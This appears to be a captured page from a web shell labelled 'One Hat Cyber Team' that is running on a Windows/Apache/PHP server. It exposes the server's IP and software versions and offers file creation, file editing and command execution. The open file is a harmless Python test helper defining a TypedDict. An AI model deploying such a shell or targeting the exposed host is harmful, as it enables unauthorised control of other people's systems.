One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
laragon
/
bin
/
python
/
python-3.10
/
Lib
/
test
/
Edit File:
_typed_dict_helper.py
"""Used to test `get_type_hints()` on a cross-module inherited `TypedDict` class This script uses future annotations to postpone a type that won't be available on the module inheriting from to `Foo`. The subclass in the other module should look something like this: class Bar(_typed_dict_helper.Foo, total=False): b: int """ from __future__ import annotations from typing import Optional, TypedDict OptionalIntType = Optional[int] class Foo(TypedDict): a: OptionalIntType
Simpan